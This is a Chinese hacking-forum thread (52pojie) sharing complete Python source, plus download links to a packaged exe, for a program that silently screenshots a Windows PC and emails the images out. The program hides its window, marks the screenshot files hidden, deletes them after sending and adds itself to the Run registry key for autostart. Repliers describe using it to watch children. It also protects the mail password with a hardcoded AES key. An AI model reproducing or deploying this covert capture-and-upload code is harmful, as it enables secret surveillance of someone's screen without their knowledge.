吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6196|回复: 77
收起左侧

[原创工具] 用python实现PC屏幕截图自动发送邮箱

  [复制链接]
Hell 发表于 2023-6-26 09:53
本帖最后由 Hell 于 2023-6-26 10:55 编辑

代码功能介绍

代码实现了一个屏幕截图应用程序,可以定时截取屏幕,并将截图通过电子邮件发送给指定的收件人。以下是代码的主要功能:

  1. 通过使用pyautogui库来进行屏幕截图。
  2. 使用smtplib库来发送电子邮件,以将截图发送给收件人。
  3. 使用tkinter库创建一个简单的图形用户界面(GUI),用于配置应用程序的设置。
  4. 通过使用logging库来记录日志,将日志保存到文件中。
  5. 使用configparser库来读取和保存应用程序的配置设置。
  6. 实现了开机自动启动功能,可以将应用程序设置为开机自动启动。
  7. 实现了隐藏和显示应用程序窗口的功能。
  8. 收件邮箱默认等于发件邮箱

此外,代码还实现了一些其他功能,如数据加密和解密、删除已发送的截图文件等。

应用程序在为用户提供一个便捷的方式来定时截图并将截图发送给指定的收件人,适用于需要定期截图的监控、远程监视等场景。用户可以通过图形界面设置截图的间隔时间、截图的次数、发件人和收件人的电子邮件地址等。


1.jpg
[Python] 纯文本查看 复制代码
import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import glob

KEY = b'MySuperSecretKey'

def encrypt_data(data):
    cipher = AES.new(KEY, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
    iv = base64.b64encode(cipher.iv).decode('utf-8')
    ct = base64.b64encode(ct_bytes).decode('utf-8')
    return iv + ct

def decrypt_data(data):
    try:
        iv = base64.b64decode(data[:24])
        ct = base64.b64decode(data[24:])
        cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)
        pt = unpad(cipher.decrypt(ct), AES.block_size)
        return pt.decode('utf-8')
    except:
        return "Decryption Error!"

class ScreenshotApp:    
    def __init__(self):
        self.root = tk.Tk()
        self.root.title("Screen")

        self.config = configparser.ConfigParser()
        self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini") 
        
        if not os.path.exists(self.config_file):
            self.create_default_config()
        
        self.config.read(self.config_file)  # 读取配置文件
        
        self.sender_email_label = ttk.Label(self.root, text="发件邮箱:")
        self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)
        self.sender_email_entry = ttk.Entry(self.root)
        self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)
        
        self.sender_password_label = ttk.Label(self.root, text="发件邮箱密码:")
        self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)
        self.sender_password_entry = ttk.Entry(self.root, show="*")
        self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)
        
        self.interval_label = ttk.Label(self.root, text="截图间隔时间:")
        self.interval_label.grid(row=2, column=0, padx=5, pady=5)
        self.interval_entry = ttk.Entry(self.root)
        self.interval_entry.grid(row=2, column=1, padx=5, pady=5)
        
        self.count_label = ttk.Label(self.root, text="发送截图数量:")
        self.count_label.grid(row=3, column=0, padx=5, pady=5)
        self.count_entry = ttk.Entry(self.root)
        self.count_entry.grid(row=3, column=1, padx=5, pady=5)
        
        self.start_button = ttk.Button(self.root, text="开始截图", command=self.start_screenshot)
        self.start_button.grid(row=4, column=0, padx=5, pady=5)
        
        self.stop_button = ttk.Button(self.root, text="停止截图", command=self.stop_screenshot)
        self.stop_button.grid(row=4, column=1, padx=5, pady=5)
        self.stop_button.configure(state="disabled")
        
        self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)
        self.save_button.grid(row=5, column=0, padx=5, pady=5)
        
        self.autostart_var = tk.BooleanVar()
        self.autostart_checkbutton = ttk.Checkbutton(self.root, text="开机自动启动", variable=self.autostart_var, command=self.save_settings)
        self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)
        
        self.toggle_visibility_button = ttk.Button(self.root, text="显示/隐藏", command=self.toggle_visibility)
        self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)
        
        # 创建日志记录器
        self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")
        self.logger = logging.getLogger("ScreenshotApp")
        self.logger.setLevel(logging.INFO)
        self.logger.addHandler(logging.FileHandler(self.log_file_path))
        
        self.screenshot_running = False
        self.screenshot_thread = None
        self.stop_event = threading.Event()
        
        # 初始化输入框的值
        self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))
        self.sender_password_entry.insert(0, self.get_decrypted_password())
        self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))
        self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))
        
        # 初始化开机自动启动选项
        self.autostart_var.set(self.is_autostart_enabled())
        
        self.root.protocol("WM_DELETE_WINDOW", self.on_close)
        
        self.root.bind("<F12>", self.toggle_visibility)
        
        # 初始化窗口可见性
        visibility = self.config.get("Settings", "visibility", fallback="visible")
        if visibility == "hidden":
            self.root.withdraw()
        
        if self.autostart_var.get():
            self.start_screenshot()
        
        self.root.mainloop()
        
    def on_close(self):
        self.stop_screenshot()
        self.save_settings()
        self.delete_screenshots()
        self.root.quit()

    def create_default_config(self):
        if not os.path.exists(self.config_file):
            self.config["Settings"] = {
                "sender_email": "",
                "sender_password": "",
                "interval": "",
                "count": "",
                "autostart": "False",
                "visibility": "visible"
        }
        
        config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")        
        with open(config_file_path, "w") as configfile:
            self.config.write(configfile)
        
    def start_screenshot(self):
        interval_text = self.interval_entry.get()
        count_text = self.count_entry.get()

        if not interval_text or not count_text:
             self.logger.error("请提供Screen间隔时间和Screen次数")
             return

        try:
              interval = int(interval_text)
              count = int(count_text)
        except ValueError:
              self.logger.error("Screen间隔时间和Screen次数必须是有效的整数")
              return
        if not self.screenshot_running:
            sender_email = self.sender_email_entry.get()
            sender_password = self.sender_password_entry.get()
            interval = int(self.interval_entry.get())
            count = int(self.count_entry.get())
            
            receiver_email = sender_email  # 收件邮箱地址默认等于发件邮箱地址
            
            self.logger.info("开始Screen")
            
            self.start_button.configure(state="disabled")
            self.stop_button.configure(state="normal")
            self.screenshot_running = True
            self.stop_event.clear()
            
            self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(receiver_email, sender_email, sender_password, interval, count))
            self.screenshot_thread.start()
    
    def stop_screenshot(self):
        if self.screenshot_running:
            self.screenshot_running = False
            self.stop_event.set()
            self.screenshot_thread.join()
            
            self.logger.info("停止Screen")
            self.start_button.configure(state="normal")
            self.stop_button.configure(state="disabled")
    
    def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):
        screenshot_count = 0
        screenshots = []

        # 获取用户主目录,并创建'Screenshots'文件夹
        user_dir = os.path.expanduser('~')
        screenshot_dir = os.path.join(user_dir, 'Screenshots')
        os.makedirs(screenshot_dir, exist_ok=True)

        # 在开始Screen前清空'Screenshots'文件夹
        self.delete_screenshots()

        while screenshot_count < count and not self.stop_event.is_set():
            try:
                # Screen
                screenshot = pyautogui.screenshot()

                # 生成文件名,格式为“Screen时间.png”
                current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
                filename = f"Screen_{current_time}.png"

                # 保存Screen到'Screenshots'文件夹中
                screenshot_path = os.path.join(screenshot_dir, filename)
                screenshot.save(screenshot_path)
                screenshots.append(screenshot_path)
                screenshot_count += 1
                #设置文件为隐藏
                FILE_ATTRIBUTE_HIDDEN = 0x02
                ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)
                self.logger.info(f"Screen成功: {screenshot_path}")

                if screenshot_count == count:  # 达到指定Screen次数后发送Screen
                    screenshot_count = 0
                    self.send_email(receiver_email, sender_email, sender_password, screenshots)
                    self.logger.info(f"Screen发送成功,共发送了 {len(screenshots)} 张Screen")
                    self.delete_screenshots(screenshots)
                    screenshots = []  # 清空已发送的Screen列表
            except Exception as e:
                self.logger.error(f"Screen失败: {str(e)}")

            time.sleep(interval)


        
    def send_email(self, receiver_email, sender_email, sender_password, filenames):
        msg = MIMEMultipart()
        msg["From"] = sender_email
        msg["To"] = receiver_email
        msg["Subject"] = "Screen"
        
        # 添加邮件正文
        msg.attach(MIMEText("请查看附件中的Screen。", "plain"))
        
        # 添加Screen作为附件
        for filename in filenames:
            with open(filename, "rb") as f:
                image = MIMEImage(f.read())
            image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))
            msg.attach(image)
        
        try:
            # 发送邮件
            with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:
                smtp.login(sender_email, sender_password)
                smtp.send_message(msg)
                
            self.logger.info(f"邮件发送成功,收件人: {receiver_email}")
        
        except Exception as e:
            self.logger.error(f"邮件发送失败: {str(e)}")
        
    def save_settings(self):

        self.config.set("Settings", "sender_email", self.sender_email_entry.get())
        self.config.set("Settings", "interval", self.interval_entry.get())
        self.config.set("Settings", "count", self.count_entry.get())
        self.config.set("Settings", "autostart", str(self.autostart_var.get()))
        
        visibility = "visible" if self.root.state() == "normal" else "hidden"
        self.config.set("Settings", "visibility", visibility)
        
        if self.sender_password_entry.get() != self.get_decrypted_password():
            encrypted_password = encrypt_data(self.sender_password_entry.get())
            self.config.set("Settings", "sender_password", encrypted_password)
        
        config_file_path = os.path.abspath(self.config_file)
        with open(config_file_path, "w") as configfile:
            self.config.write(configfile)
            self.logger.handlers.clear()
            self.logger.addHandler(logging.FileHandler(self.log_file_path))
        
        self.set_autostart(self.autostart_var.get())
        
    def delete_screenshots(self, filenames=None):
        # 获取'Screenshots'文件夹路径
        user_dir = os.path.expanduser('~')
        screenshot_dir = os.path.join(user_dir, 'Screenshots')

        if filenames is None:
            filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))

        for filename in filenames:
            try:
                os.remove(filename)
                self.logger.info(f"删除Screen: {filename}")
            except Exception as e:
                self.logger.error(f"删除Screen失败: {str(e)}")
    
    def get_decrypted_password(self):
        encrypted_password = self.config.get("Settings", "sender_password", fallback="")
        if encrypted_password:
            return decrypt_data(encrypted_password)
        else:
            return ""
        
    def toggle_visibility(self, event=None):
        if self.root.state() == "withdrawn":
            self.root.deiconify()
        else:
            self.root.withdraw()
        self.save_settings()
        
    def set_autostart(self, enabled):
        key = winreg.HKEY_CURRENT_USER
        run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
        app_name = "Screen"
        app_path = sys.executable  # 获取当前脚本的绝对路径

        try:
            with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:
                if enabled:
                    winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)
                    self.logger.info("已设置开机自动启动")
                else:
                    winreg.DeleteValue(reg_key, app_name)
                    self.logger.info("已取消开机自动启动")
        except FileNotFoundError as e:
            self.logger.error(f"找不到注册表路径: {str(e)}")
        except PermissionError as e:
            self.logger.error(f"没有足够的权限访问注册表: {str(e)}")
        except Exception as e:
            self.logger.error(f"设置开机自动启动失败: {str(e)}")

    def is_autostart_enabled(self):
        key = winreg.HKEY_CURRENT_USER
        run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
        app_name = "Screen"
        app_path = sys.executable  # 获取当前脚本的绝对路径

        try:
            with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:
                try:
                    value, value_type = winreg.QueryValueEx(reg_key, app_name)
                    return value == app_path
                except FileNotFoundError:
                    return False
        except FileNotFoundError as e:
            self.logger.error(f"找不到注册表路径: {str(e)}")
        except PermissionError as e:
            self.logger.error(f"没有足够的权限访问注册表: {str(e)}")
        except Exception as e:
            self.logger.error(f"读取开机自动启动设置失败: {str(e)}")
        
        return False
        
if __name__ == "__main__":
    app = ScreenshotApp()


成品:链接:https://pan.baidu.com/s/1mb_kUmooSpO40Ltt2gRpcg?pwd=fj0d  提取码:fj0d

用 pyinstaller 一键打包成exe即可,因为是基于python3.10写的,所以目前只能运行在win10及以上系统。亲测win7系统报错。有能力的可以用python3.7重新打包一下。win7估计就能用了。

免费评分

参与人数 16吾爱币 +18 热心值 +15 收起 理由
jfaboy + 1 + 1 谢谢@Thanks!
白无忧 + 1 + 1 谢谢@Thanks!
lcg2014 + 1 + 1 用心讨论,共获提升!
scpfy + 1 + 1 我很赞同!
kyokusanagi2000 + 1 热心回复!
kingtod + 1 + 1 用心讨论,共获提升!
junm1888 + 1 谢谢@Thanks!
spiderkk + 1 + 1 谢谢@Thanks!
CuresW + 1 + 1 我很赞同!
arsleeli + 1 + 1 我很赞同!
zzp8974 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
ayu1314 + 1 + 1 谢谢@Thanks!
honghong + 1 谢谢@Thanks!
罗斯 + 1 谢谢@Thanks!
qiu782461893 + 1 蓝奏云 python3.8打包的https://wwzs.lanzouk.com/iTGGo10gedpa 密码:h2gn
风之暇想 + 7 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| Hell 发表于 2023-6-26 10:47
忘记说了,代码目前支持QQ邮箱。其它邮箱自己验证一下。
prc3 发表于 2023-7-7 16:09
除了发送邮件   能不能简单的保存到指定目录即可?   这个是监控小朋友的利器    半年前小朋友上网课不错   现在很少能用上了
121592512 发表于 2023-7-9 09:02
梦中之梦 发表于 2023-6-26 14:15
论坛之前有个软件叫好好学习,试用过,功能和你这差不多,

好好学习,
我也用过

锁屏后再进系统   
软件就和假死一样了

而且  限制了10张图片就要发邮件
 楼主| Hell 发表于 2023-6-26 10:07
第一次发帖,不知道为什么代码那里怎么变成这样。。。。
killerzeno 发表于 2023-6-26 10:34
好东西,平时没时间远控,这个随时抓取,看看小朋友在玩游戏还是在写作业。哈哈
borea 发表于 2023-6-26 10:39
这个如果用 邮箱的话 会不会导致邮箱发送大量被封?
netpeng 发表于 2023-6-26 10:41
支持原创,感谢分享。
ThemanRonin 发表于 2023-6-26 10:42
borea 发表于 2023-6-26 10:39
这个如果用 邮箱的话 会不会导致邮箱发送大量被封?

除非你是发垃圾广告或者违法内容可能会被封禁。。。
另外邮箱的作用不就是大量发送信息的吗 怎么可能被封
 楼主| Hell 发表于 2023-6-26 10:46
borea 发表于 2023-6-26 10:39
这个如果用 邮箱的话 会不会导致邮箱发送大量被封?

所以设置了默认收件邮箱等于发件邮箱。这样自己发给自己就不会有被封的风险。
大白baymax 发表于 2023-6-26 10:48
重新编辑一下吧 楼主大大  
 楼主| Hell 发表于 2023-6-26 10:54
大白baymax 发表于 2023-6-26 10:48
重新编辑一下吧 楼主大大

好的。感谢帮助
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 21:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表